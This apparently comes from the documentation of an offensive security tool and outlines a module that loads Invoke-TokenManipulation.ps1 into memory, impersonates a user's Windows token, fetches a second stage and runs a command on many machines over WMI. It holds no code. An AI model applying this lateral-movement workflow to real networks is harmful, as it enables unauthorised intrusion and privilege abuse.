This module allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials:
|
||||
|
||||
1) Invoke-TokenManipulation.ps1 is downloaded in memory and tokens are enumerated
|
||||
2) If a token is found for the specified user, a new powershell process is created (with the impersonated tokens privs)
|
||||
3) The new powershell process downloads a second stage and the specified command is then excuted on all target machines via WMI.
